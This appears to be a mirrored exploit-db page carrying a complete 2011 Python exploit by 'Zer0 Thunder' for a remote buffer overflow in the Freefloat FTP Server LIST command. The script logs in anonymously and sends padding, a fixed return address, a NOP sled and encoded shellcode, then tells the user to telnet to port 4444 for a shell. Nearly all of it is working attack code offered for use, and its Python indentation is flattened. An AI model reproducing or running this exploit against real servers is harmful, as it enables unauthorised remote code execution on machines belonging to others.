Freefloat FTP Server – ‘LIST’ Remote Buffer Overflow

  • 作者: Zer0 Thunder
    日期: 2011-07-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17519/
  • #!/usr/bin/python
    from struct import pack
    import socket,sys
    import os
    
    print " ||=============================================================||"
    print " || ||"
    print " ||/\0-Exploit (Zer0 Thunder) ||"
    print " || \\,,//--------------------------------------------||"
    print " ||'-.`\()/`.-'===========================||"
    print " || .--_'()'_--.Freefloat FTP [LIST] Buffer Overflow Exploit||"
    print " ||/ /` /`**`\ `\ \----pwn the shell----||"
    print " || ||><||||"
    print " || \\//||"
    print " || '.__.'||"
    print " || ||"
    print " ||=============================================================||"
     
    if len(sys.argv) != 3:
    print "Usage: ./freeftp.py [IP] [PORT]"
    sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
     
    junk = "\x41" * 246
    add = pack('<L',0x77c35459)
    nops = "\x90" * 20
    shell= ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
    "\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"
    "\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"
    "\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"
    "\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"
    "\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"
    "\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"
    "\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"
    "\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"
    "\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"
    "\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"
    "\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"
    "\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"
    "\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"
    "\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"
    "\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"
    "\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"
    "\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"
    "\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"
    "\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"
    "\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"
    "\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"
    "\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"
    "\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"
    "\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35")
    payload = junk+add+nops+shell
     
    print "[+] Connecting to Target " + target + "..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     
    try:
    connect=s.connect((target, port))
    print "[+] Target FTP Connected!"
    except:
    print "[!] FTP didn't respond\n"
    sys.exit(0)
     
    s.recv(1024)
     
    
    s.send('USER anonymous\r\n')
    s.recv(1024)
    s.send('PASS anonymous\r\n')
    s.recv(1024)
    print "[+] Sending payload..."
    s.send('LIST ' + payload + '\r\n')
    s.recv(1024)
     
    print "[!] Exploit has been sent!. Please try telnet [target ip] 4444\n"
     
    try:
    s.recv(1024)
    print "[!] Exploit failed !."
     
    except:
    print "[+] Pwned the shell !"
     
    s.close()